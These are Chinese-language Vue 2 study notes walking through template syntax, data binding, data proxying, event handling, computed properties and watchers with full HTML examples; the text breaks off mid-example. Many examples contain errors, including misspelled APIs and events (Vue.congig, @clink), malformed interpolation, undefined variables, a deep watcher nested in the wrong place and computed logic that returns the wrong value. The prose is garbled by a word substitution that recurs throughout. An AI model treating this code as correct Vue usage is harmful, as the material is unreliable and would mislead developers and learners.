Vue技术教程(2022-11-3)

第一章:Vue安装及使用

1.Vue是一套构建用户界面的渐进式JavaScript框架
特点:1.采用组件化模式,提高代码复用率,且让代码更好维护
		2.声明式编码,让编码人员无需直接操作dom时间,提高开发效率
		
Vue环境搭建:
安装方式:使用script引入安装
			使用npm+命令行去安装
1.开始使用:创建一个文件夹把vue的js文件添加进去你
2.在浏览器里面输入https://microsoftedge.microsoft.com/addons/detail/vuejs-devtools/olofadcdnkkjdfgjcmjaadnlehnnihnl
	下载Vue浏览器开发工具
3.Vue全局配置:Vue.config.productionTip=false//阻止vue在启动的时候生成提示
4.引入页面图片标签文件
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- 1.引入Vue文件 -->
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>

<!-- 1.准备一个容器 -->
<div id="root"> 
<h1 >hello {{name}}</h1>
</div>


<script type="text/javascript" src="../VueJs/vue.js">
Vue.config.productionTip=false//阻止vue在启动的时候生成提示
// 创建员工Vue的实例:参数只有一个,类型为对象类型
const vm=new Vue({
            el:'#root',//el用于指定当前Vue实例为那个容器服务,值通常为css选择器字符串
        data:{
// data中用于存储数据,数据了所指定的容器去使用
            name:'计算机科学与技术'
}
        });

</script>
   

<!-- 想让Vue工作就必须创建员工VUe实例,且传入员工配置对象
2.root容器里面的代码依然符合HTML规范,只不过混入了一些特殊的Vue语法
3.root容器里面的代码称为Vue模板
-->
</body>
</html>
代码实例:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- 1.引入Vue文件 -->
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>

<!-- 1.准备一个容器 -->
<div id="root"> 
<h1 >hello {{name},{address}}</h1>
</div>

<div>
<h1 id="root1">我家住在,{{address}}</h1>

</div>

<script type="text/javascript" >
Vue.config.productionTip=false//阻止vue在启动的时候生成提示
// 创建员工Vue的实例:参数只有一个,类型为对象类型


const vm=new Vue({
            el:'#root',//el用于指定当前Vue实例为那个容器服务,值通常为css选择器字符串
        data:{
// data中用于存储数据,数据了所指定的容器去使用
            name:'计算机科学与技术',
            address:'昆明理工'
}
 });


new Vue({
el:'#root1',
data:{
address:'北京!'

}
        })

// 注意区分JS代码和js语句
// 1.表达式:员工表达式会生成员工值,可以放在如何员工需要的地方
</script>
   

<!-- 想让Vue工作就必须创建员工VUe实例,且传入员工配置对象
2.root容器里面的代码依然符合HTML规范,只不过混入了一些特殊的Vue语法
3.root容器里面的代码称为Vue模板

<!-- 4vue实例和容器是一一对应的
5.在开发中只有一个vue实例,并且配合着组件一起使用
6.{{xx}}里面的xx要写js表达式,且xxx会自动读取
7.一旦数据改变,会自动更新

-->
-->
</body>
</html>
模板语法:指令语法
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>

    <!-- 2.准备员工容器 -->
    <div id="root">
        <h1>1.插值语法!</h1>
        <h1 >我是,{{name}}</h1>
        <h1 >我是,{{url}}</h1>

        <h2>指令语法</h2>
          <a v-bind:href="www.baidu">点我去学习!</a>
          <!-- 简写 -->
          <a :href="url" :="hello">点我去学习!</a>

    </div>

    <script type="text/javascript" >
        // z阻止Vue提示
        Vue.config.productionTip=false;//阻止Vue生产出的提示
        new Vue({
                el:'#root',
        data:{
            name:'~风轻云淡~',
            url:'www.baidu'
        }
        })
        </script>
        <!-- 
因此Vue语法可以分为两类:
1.插值语法:功能:用于解析标签体里面的内容
        写法{{xxx}},xxx是js表达式,且可以直接读取到data中的属性
        2.指令语法:
        功能:用于解析标签(包括:标签属性,标签体内容,绑定事件...
        举例:v-bind:href="xxx" 或:href="xxx",xxx同样为js表达式
且可以直接读取到data中的所有属性
备注:Vue中有很多的指令,且形式都是v-????,此处我们那v-bind举个例子

         -->

</body>
</html>

数据绑定:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- 1.引入Vue -->
    <script type="text/javascript" src="/VueJs/vue.js"></script>
    <title>数据绑定</title>
</head>

<body>
    
<!-- 1.准备一个容器 -->
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name"><br>
双向数据绑定:<input type="text" v-model:value="name"><br>

<!--  如下代码错误,因为v-model只能应用在表单类元素(输入类元素)-->
<h2 v-model:x="name">你好!</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip=false//阻止Vue在启动的时候,生成提示
new Vue({
    el:'#root',
    data:{
        name:'~风轻云淡~'

    }

})

</script>
<!-- // vue中主要有2种绑定的方式
1.单向绑定(v-bind)数据只能从data流向页面
2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流
向data
-->
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <!-- 1.准备员工容器 -->

    <div id="root">

        <h1 id="root">你好{{name},{name}}</h1>
    </div>

</body>
<script type="text/javascript">

Vue.congig.productionTip=false//阻止Vue运行时候产生的提示
const v= new Vue({

// el:'#root',

data:{
name:'~风轻云淡~'
}

})
console.log(v);
v.$mount('#root')//第二种写法

//data的第二章写法:函数式

new Vue({

 el:'#root',


 data:function(){

return{

    name:'风轻云淡'

}

 }

})

</script>
<!-- 
data的两种写法:
1.el的两种写法:new Vue时候配置el属性  2.先创建vue实例,随后通过vm.$mount('#root')指定el的值

对象式,函数式





 -->
</html>
模板
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>
    

    <!-- 1.准备一个容器 -->
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>
    

    <!-- 1.准备一个容器 -->
    <div id="root">
<h1>学校名称: {{name}}</h1>
<h1>学校地址:{{address}}</h1>

    </div>
</body>
<script type="text/javascript">

Vue.config.productionTip=false//阻止vue在启动时产生提示
const vm=new Vue({
el:'#root',
data:{
name:'风轻云淡',
address:'云南'

}
})
</script>
<!-- 
MVVM模型:
1.M(model) data中的数据
V:视图view:模板代码
VM:视图模型:vue实例
<!-- 观察发现:data中的使用属性,最后都出现在vm身上 -->
 -->
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>
    

    <!-- 1.准备一个容器 -->
    <div id="root">
<h1>学校名称: {{name}}</h1>
<h1>学校地址:{{address}}</h1>

    </div>
</body>
<script type="text/javascript">

Vue.config.productionTip=false//阻止vue在启动时产生提示
const vm=new Vue({
el:'#root',
data:{
name:'风轻云淡',
address:'云南'

}
})
</script>
<!-- 
MVVM模型:
1.M(model) data中的数据
V:视图view:模板代码
VM:视图模型:vue实例
<!-- 观察发现:data中的使用属性,最后都出现在vm身上 -->
 -->
</html>

第二章:数据代理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript">
        let number=10;
        let person={

                name:'张三',
                sex:'男',
                age:number

        }

        console.log(person);
Object.defineProperty(person,'age',{
                    
// 单有人读取Person的age属性时,get函数就会倍调用,返回值就是age的值
            get:function(){
                console.log("有人更改了属性");
return number;
},

// 当有人修改Person的age属性时,set函数就会被调用,返回值就是age的值,且函数返回值的是修改的具体值
            set(value){
console.log(value);


            }

})
console.log(person);
</script>
</head>
<body>
    <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作  读/写-->
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <script type="text/javascript">

            let obj1={x:100}
            let obj2={y:100}
            Object.defineProperty(obj2,'x',{

                get(){

                    return obj.x
                },
                set(value){
                    obj.x=value;

                }
            })
    </script>
    <title>Document</title>
</head>
<body>
   
</body>
</html>

Vue中的数据代理:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascriptt" src="../VueJs/vue.js"></script>

    <title>Document</title>
    
</head>
<body>
    <!-- 1.准备一个容器 -->
    <div id="root">
        <h1>学校名称: {{name}}</h1>
        <h1>学校地址:   {{address}}</h1>
        
            </div>
            <!-- 
1.Vue中的数据代理:通过vm对象来代理data对象中的属性的操作(读写)
2.vue中关系数据的好处
更加方便的操作data中的数据
3.基本原理:通过Object。defineProperty()把data对象中所有属性都添加到vm上
为每一个添加到vm上的属性,都指定一公getter/setter
             -->
    
</body>
<script type="text/javascript">

    Vue.config.productionTip=false//阻止vue在启动时产生提示
    const vm=new Vue({
    el:'#root',
    data:{
    name:'风轻云淡',
    address:'云南'
    
    }
    })
    </script>
</html>

第三章:事件的处理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <!-- 
1.事件的基本使用:
    1使用v-on:xxx 或@xxx绑定事件,其中xxx是事件名称
        2   事件的回调需要配置在methods对象中,最终会在vm上
            3.methods中配置的函数,不能用箭头函数,否则this就不是vml
            4.methods中配置的函数,都是被vue所管理的函数,this的指向是vm或组件实例对象
            5.@click=“demo”和@clink="demo($event)"效果一直,但是后者可以传参
     -->

    <!-- 1.准备一个容器 -->
    <div id="root">
<h1>学校名称: {{name}}</h1>
<h1>学校地址:{{address}}</h1>

<!-- 在Vue中绑定事件使用v-on -->
<button v-on:click="showInfo">点我提示(不传参)</button>
<button @click="showInfo2(78,$event)">点我提示(传参)</button>
    </div>
</body>
<script type="text/javascript">

Vue.config.productionTip=false//阻止vue在启动时产生提示

                const vm=new Vue({
                el:'#root',
                data:{
                name:'风轻云淡',
                address:'云南'
                },
                        methods:{
                        showInfo(event){
                        alert("同学你好!");
                        // console.log(event);
                        console.log(this)//此处的this是vm
                        },
                showInfo2(number,event){
                alert("同学你好!");
                console.log(number,event);
                // console.log(event);
                // console.log(this)//此处的this是vm
                }

                }
})
</script>

 -->
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="../VueJs/vue.js"></script>
    <title>Document</title>
    <style>
        .demo{
height: 250px;
width: 100px;
background-color: aquamarine;
        }

div{

height: 1000px;
width: 2000px;
background-color: aqua;

}
    </style>
</head>
<body>
    <div id="root">
        <!-- 1.prevent 阻止事件
            2.stop阻止事件冒泡
            3.once 事件只触发一次
            4.capture 使用事件的捕获方式
            5.self 只有event.target是当前操作元素才是触发事件
        
        -->

        <h2>欢迎来到{{name}} 学习</h2>

        <!-- 给这个提示框绑定一个事件 ,并且调用事件修饰符-->
<a href="www.baidu.com" @click.prevent="showInfo">点我</a>


<!-- 2.阻止事件,冒泡 -->

    </div>
<div class="demo" @clink="showInfo"> 

    <button @clink="showInfo">你</button>
</div>

</body>

<script type="text/javascript">

Vue.config.productionTip=false//阻止Vue启动提示

new Vue({

el:'#root',
data:{

name:'计算机科学与技术学院'

},
methods:{

    showInfo(e){
        e.preventDefault()

alert("你好!")

    }
}

})


</script>

</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- 1.引入vue文件 -->
    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <!-- 1.绑定一个键盘事件 -->

<h2>欢迎来到{{name}}学习!</h2>
<!-- 例子: -->
<!-- <input type="text" placeholder="按下回车键输入!" @keyup.enter="showInfo"> -->

<!-- <input type="text" placeholder="按下回车键输入!" @keyup.delete="showInfo"> -->
<!-- <input type="text" placeholder="按下回车键输入!" @keyup.tab="showInfo"> -->

<input type="text" placeholder="按下回车键输入!" @keydown.enter="showInfo">
<!-- 

                   1. vue中常用的按键别名:
                    回车==>enter
                    删除==>delete
                    退出===>esc
                    换行==>tab(这个比较特殊,需要搭配keydown使用)
                    空格==>space
                    上==>up
                    下==>down
                    左==>left
                    右==>right

                    2.vue为提供别名的按键,可以使用按键原始的key去绑定,但是要注意,要直接转换为kebab-case(短横线命名)
            3.系统修饰键:语法特殊:ctrl  alt shift meta
        配合:keyup使用:按下修饰键的同时,在按下其他键,随后释放其他键,事件才能被触发
        配合keydown使用:正常触发事件


4.也可以使用keyCode去找到具体按键(不推荐)

5.vue.config.keyCodes。自定义命名=键码 可以去地址按键别名
 -->
    </div>
</body>

<script type="text/javascript">

Vue.config.productionTip=false
Vue.config.keyCodes.huiche=13//这个就是定义一个回车键,编码是13
new Vue({

el:'#root',
data:{
        name:'计算机科学与技术学院'
},
methods:{

showInfo(e){

    console.log(e.target.value)
    console.log("我换行了!")
}

}

})

</script>
</html>

第四章:计算属性与监视

方法一:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
    <title>Document</title>
</head>
<body>
                    
                    <div id="root">
                姓:<input type="text" v-model="firstName"><br>
                名:<input type="text" v-model="lastName"><br>
                姓名:      <span>{{firstName.slice(0,3) + '-' +lastName}}</span>
                        
</div>
</body>
<script type="text/javascript">

Vue.config.productionTip=false
new Vue({

el:'#root',
data:{
firstName:'张',
lastName:'三'
}
})
</script>
</html>
方式二:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
    <title>Document</title>
</head>
<body>
                    
        <div id="root">

                姓:<input type="text" v-model="firstName"><br>
                名:<input type="text" v-model="lastName"><br>
                姓名:      <span>{{fullName()}}</span>
                        
</div>
</body>
<script type="text/javascript">

Vue.config.productionTip=false
new Vue({
// 使用回调函数来书写:
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
methods: {
    fullName(){

        return this.firstName+'-' + this.lastName

    }

},


})
</script>
</html>
计算属性:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
    <title>Document</title>
</head>
<body>
                    
        <div id="root">

                姓:<input type="text" v-model="firstName"><br>
                名:<input type="text" v-model="lastName"><br>
                姓名:      <span>{{fullName}}</span>
                        
</div>
</body>
<script type="text/javascript">

                        Vue.config.productionTip=false
                      const vm= new Vue({
                        // 使用回调函数来书写:
                        el:'#root',
                        data:{
                            // 属性
                        firstName:'张',
                        lastName:'三'

                        },
                        // 计算属性
                        computed:{
                            fullName:{
                                get(){
                        // get的作用:当有人读取fullname的时候,get就会被调用,且返回值就是fullName的值
                        console.log(this)//此处的tihis就是vm
                        console.log("计算机科学与技术")
                        return this.firstName+this.lastName
                        // get说明时候被调用:1.初次调用的时候  2.所依赖的数据发生变化时
                                },
                                // set说明时候被调用:当fullname被修改的时候
                                set(value){
                                    return this.firstName+this.lastName

                                }
                                


                            }

                        }

})
</script>
<!-- 

计算属性:1.定义:要用的属性不存早,要通过已有的属性计算得来
2.原理:底层借助了Object.defineproperty方法提供的getter和setter
3.get函数说明时执行:1.初次读取会调用一次 2.当依赖属性的数据发生该变的时候会再次被调用

 -->
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
    <title>Document</title>
</head>
<body>
                    
        <div id="root">

                姓:<input type="text" v-model="firstName"><br>
                名:<input type="text" v-model="lastName"><br>
                姓名:      <span>{{fullName}}</span>
                        
</div>
</body>
<script type="text/javascript">

                        Vue.config.productionTip=false
                      const vm= new Vue({
                        // 使用回调函数来书写:
                        el:'#root',
                        data:{
                            // 属性
                        firstName:'张',
                        lastName:'三'

                        },
                        // 计算属性
                    //    简写:把get书写为一个函数来调用
                       
computed:{fullName:function(){
// 只有不烤炉修改的时候才可以使用简写属性
console.log("计算机")
return this.lastName+this.lastName

                        }
}
                        
})
</script>


 -->
</html>
Vue插件提示代码:Vues 3 script


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
</head>
<body>

    <!-- 绑定事件的时候: @xxx=yyyy yyyy可以写一些执行的语句 -->

    <div id="root">

    <h2>具体天气很{{info }},{{x}}</h2>

    <button @click="changeWeather">切换天气</button>
    </div>
    
</body>

<script type/javascript>

Vue.config.productionTip=false


new Vue({
el:'#root',
data:{

isHot:true,
x:1

},
computed:{

// 书写info计算属性
info(){

    return this.isHot ?'炎热' : '凉爽'
}

},
// 绑定按钮切换事件
methods: {
    changeWeather(){

this.isHot=!this.isHot,
this.x++

    }
},


})


</script>
</html>
监视属性:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
</head>
<body>

    <!-- 绑定事件的时候: @xxx=yyyy yyyy可以写一些执行的语句 -->

    <div id="root">

    <h2>具体天气很{{info }},{{x}}</h2>

    <button @click="changeWeather">切换天气</button>
    </div>
    
</body>

<script type/javascript>

Vue.config.productionTip=false


 const vm=new Vue({
el:'#root',
data:{

isHot:true,
x:1

},
computed:{

// 书写info计算属性
info(){

    return this.isHot ?'炎热' : '凉爽'
}

},
// 绑定按钮切换事件
methods: {
    changeWeather(){

this.isHot=!this.isHot,
this.x++

    }
},



// 书写监视属性
// 方法一:
// watch:{
//         isHot:{
//             // 使用一个函数:当ishot方式改变的时候去执行
//             // 配置:初始化的时候调用一下:  immediate:true,
//             immediate:true,
        
//                 handler(newValue,oldValue){

//                     console.log("被修改了!",newValue,oldValue)
//                 }


//         }
// }
})
// 方法二:
vm.$watch('isHot',{

    immediate:true,
        
        handler(newValue,oldValue){

            console.log("被修改了!",newValue,oldValue)
        }


})
</script>


<!-- 监视属性:watch1.当被监视的属性变化时,回调函数会自动调用买家秀相关操作
2.具体属性必须在,才能进行配置
3.具体属性的两种方法:new Vue时插入的watch配置

        2.通过vm.$watch
-->


</html>


深度监视:deep

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script type="text/javascript" src="./vuejs/vue.min.js"></script>
</head>
<body>

    <!-- 绑定事件的时候: @xxx=yyyy yyyy可以写一些执行的语句 -->

    <div id="root">

    <h2>具体天气很{{info }}</h2>

    <button @click="changeWeather">切换天气</button><br>

    <h3>a的值是{{number.a}}</h3>
    <button @click="number.a++">点我a+1</button>
    </div>
    
</body>

<script type/javascript>

Vue.config.productionTip=false

 const vm=new Vue({
el:'#root',
data:{

isHot:true,
number:{
a:1,
b:1
}
},
computed:{

// 书写info计算属性
info(){

    return this.isHot ?'炎热' : '凉爽'
}

},
// 绑定按钮切换事件
methods: {
    changeWeather(){

this.isHot=!this.isHot,
this.x++

    }
},



// 书写监视属性
// 方法一:
 watch:{
         isHot:{            // 使用一个函数:当ishot方式改变的时候去执行
             // 配置:初始化的时候调用一下:  immediate:true,
            //  immediate:true,
        
            //      handler(newValue,oldValue){

            //          console.log("被修改了!",newValue,oldValue)
            //      },
                 number:{
                    //  监视多级结构中石油属性的变化
                deep:true,
                handler(){

                        console.log("改变了")

                }
                  
            }
         }
        }
        
})
// 方法二:

</script>


<!-- 总结:1.vue中的watch默认不监听对象内部值的改变
2.配置deep:true 可以检测对象内部值的改变
备注:vue自身可以检测对象内部值的改变,但是vue提供的watch默认不可以
2.watch时根据数据的具体结果,决定是否采用深度监测

-->


</html>

第八章:计算属性

​ 1.



<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_插值语法实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{firstName}}-{{lastName}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			}
		})
	</script>
</html>



<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_methods实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName()}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			methods: {
				fullName(){
					console.log('@---fullName')
					return this.firstName + '-' + this.lastName
				}
			},
		})
	</script>
</html>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			计算属性:
					1.定义:要用的属性不存在,要通过已有属性计算得来。
					2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
					3.get函数什么时候执行?
								(1).初次读取时会执行一次。
								(2).当依赖的数据发生改变时会被再次调用。
					4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
					5.备注:
							1.计算属性最终会出现在vm上,直接读取使用即可。
							2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			测试:<input type="text" v-model="x"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			<!-- 全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				x:'你好'
			},
			methods: {
				demo(){
					
				}
			},
			computed:{
				fullName:{
					//get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
					//get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
					get(){
						console.log('get被调用了')
						// console.log(this) //此处的this是vm
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				//完整写法
				/* fullName:{
					get(){
						console.log('get被调用了')
						return this.firstName + '-' + this.lastName
					},
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				} */
				//简写
				fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				}
			}
		})
	</script>
</html>

第九章:监听属性



<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
			<!-- <button @click="isHot = !isHot">切换天气</button> -->
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
		})
	</script>
</html>



<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				监视属性watch:
					1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
					2.监视的属性必须存在,才能进行监视!!
					3.监视的两种写法:
							(1).new Vue时传入watch配置
							(2).通过vm.$watch监视
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			/* watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下
					//handler什么时候调用?当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}
			} */
		})

		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用?当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
	</script>
</html>


<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_深度监视</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				深度监视:
						(1).Vue中的watch默认不监测对象内部值的改变(一层)。
						(2).配置deep:true可以监测对象内部值改变(多层)。
				备注:
						(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
						(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
			<hr/>
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				isHot:{
					// immediate:true, //初始化时让handler调用一下
					//handler什么时候调用?当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
